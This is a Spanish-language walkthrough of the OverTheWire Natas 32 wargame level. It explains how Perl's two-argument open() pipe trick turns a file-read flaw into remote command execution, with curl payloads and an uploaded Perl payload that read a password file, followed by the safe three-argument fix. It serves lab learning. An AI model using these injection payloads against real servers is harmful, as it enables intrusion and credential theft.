Natas Nivel 32 a 33
Nivel oficial: http://natas32.natas.labs.overthewire.org
Este nivel escala la vulnerabilidad de lectura de ficheros Perl (introducida en el nivel anterior) hasta ejecucion remota de comandos (RCE). La aplicacion acepta el nombre de fichero como argumento a un script CGI en Perl; aprovechando la semantica de open() en Perl, se puede pasar un argumento que, en lugar de un nombre de fichero, sea un comando del sistema operativo que Perl ejecuta directamente.
Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.
Objetivo
Pasar de la lectura arbitraria de ficheros a ejecucion de comandos en el servidor para leer /etc/natas_webpass/natas33 y obtener <pass_natas33>.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
open() pipe trick en Perl | Ejecutar comandos del SO pasando `comando |
| CGI Perl file-read a RCE | Escalada de primitiva de lectura a ejecucion arbitraria de comandos |
| Upload de fichero + ejecucion | Subir un payload ejecutable y forzar su invocacion via open() |
| Codificacion URL de metacaracteres (` | `, espacios) |
curl -F | Subir ficheros en peticiones multipart/form-data |
curl --data-urlencode | Enviar valores con caracteres especiales correctamente codificados |
Concepto clave
De file-read a RCE via open() pipe trick en Perl
La categoria de vulnerabilidad es A03:2021 - Injection (command injection) combinada con un fallo de diseno en la forma en que Perl maneja el acceso a ficheros.
En Perl, la funcion open() tiene un comportamiento especial cuando el nombre de fichero termina en |:
open(my $fh, "comando_del_sistema|") or die $!;En este modo, Perl no abre un fichero: ejecuta comando_del_sistema como un proceso hijo y conecta su salida estandar al filehandle $fh. El script lee lo que devuelve el comando como si fuera el contenido de un fichero.
Si el codigo vulnerable hace algo equivalente a:
my $filename = $cgi->param('filename'); # entrada del usuario sin saneamiento
open(my $fh, $filename) or die $!;
while (<$fh>) { print; }Un atacante puede pasar filename=cat /etc/natas_webpass/natas33| y el servidor ejecutara cat /etc/natas_webpass/natas33 devolviendo su contenido.
El contexto de nivel 32 introduce una variante mas compleja: la aplicacion permite subir un fichero (p.ej. un binario o script) y luego referenciarlo. Si el nombre del fichero subido o el parametro que lo referencia llega sin saneamiento a un open(), se puede usar el mismo pipe trick para hacer que Perl ejecute el binario subido.
Nota de precision: El payload exacto depende de como el codigo del nivel construye la llamada a
open()y que parametros acepta. Los patrones descritos son los canonicos de este vector; puede requerirse ajuste fino contra el reto en vivo una vez inspeccionado el codigo fuente disponible en la pagina.
Paso a paso
Opcion A: pipe trick directo en parametro de fichero
- Obtener el codigo fuente de la aplicacion (natas suele mostrarlo en un enlace
View sourcecode):
curl -s -u natas32:<pass_natas32> \
"http://natas32.natas.labs.overthewire.org/index-source.html" \
| grep -A 30 "open\|filename\|param"-
Identificar el parametro vulnerable: busca una llamada
open($fh, $param)donde$paramviene de$cgi->param(...)sin filtrado de|. -
Enviar el payload de pipe trick para leer la contrasena directamente:
curl -s -u natas32:<pass_natas32> \
"http://natas32.natas.labs.overthewire.org/" \
--data-urlencode "filename=cat /etc/natas_webpass/natas33|" \
--data "submit=download"Si el parametro va en la URL en lugar del cuerpo:
curl -s -u natas32:<pass_natas32> \
"http://natas32.natas.labs.overthewire.org/?filename=cat+/etc/natas_webpass/natas33%7C"El caracter | codificado en URL es %7C.
Opcion B: subida de fichero ejecutable + invocacion
Si la aplicacion exige que el fichero exista en el servidor antes de referenciarlo (p.ej. valida que el fichero se haya subido previamente):
- Crear un script Perl o shell minimo que imprima la contrasena:
# payload.pl
cat > /tmp/payload.pl << 'EOF'
#!/usr/bin/perl
print qx(cat /etc/natas_webpass/natas33);
EOF- Subirlo via el formulario de upload:
curl -s -u natas32:<pass_natas32> \
-F "uploadedfile=@/tmp/payload.pl;type=application/octet-stream" \
-F "filename=payload.pl" \
"http://natas32.natas.labs.overthewire.org/upload.php"Anota la ruta donde el servidor guarda el fichero (suele aparecer en la respuesta).
- Invocar el fichero subido via pipe trick. Si el servidor lo guardo en
/var/www/upload/payload.pl:
curl -s -u natas32:<pass_natas32> \
--data-urlencode "filename=perl /var/www/upload/payload.pl|" \
--data "submit=download" \
"http://natas32.natas.labs.overthewire.org/"- Extraer la contrasena de la respuesta:
# Combina los pasos anteriores y filtra la salida
curl -s -u natas32:<pass_natas32> \
--data-urlencode "filename=cat /etc/natas_webpass/natas33|" \
--data "submit=download" \
"http://natas32.natas.labs.overthewire.org/" \
| grep -Eo '[a-zA-Z0-9]{32,}'Por que funciona
El vector se basa en el diseno historico de open() en Perl, que unifica apertura de ficheros y ejecucion de pipes en una sola funcion. Esta ambiguedad fue una decision de diseno de Perl, no un bug del interprete, pero se convierte en vulnerabilidad cuando la entrada del usuario llega sin saneamiento al primer argumento de open().
El flujo de datos vulnerable es:
HTTP request → CGI param → Perl open($fh, $param) → OS command execution
La ausencia de una lista blanca de caracteres permitidos en el nombre de fichero (en particular el rechazo de |) es lo que permite la inyeccion. La mitigacion correcta es usar la forma de tres argumentos de open():
open(my $fh, '<', $filename) or die $!; # seguro: nunca interpreta pipesCon tres argumentos, Perl no evalua metacaracteres y el pipe trick es imposible.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
El servidor devuelve error No such file | El ` | ` no llego correctamente al servidor (doble codificacion o no codificado) |
| La respuesta esta vacia | El comando se ejecuto pero no produjo salida, o la ruta del fichero es incorrecta | Prueba primero con `echo test |
Error Permission denied al ejecutar el payload subido | El fichero subido no tiene permisos de ejecucion o el servidor web no puede ejecutarlo | Cambia la estrategia: en lugar de ejecutar el fichero subido directamente, usa `perl /ruta/payload.pl |
| El ` | ` al final es ignorado y se trata como nombre de fichero literal | El codigo usa la forma segura de tres argumentos de open() |
Pasar al siguiente nivel
Con la contrasena <pass_natas33> obtenida, accede a:
http://natas33.natas.labs.overthewire.org
Credenciales: usuario natas33, contrasena <pass_natas33>.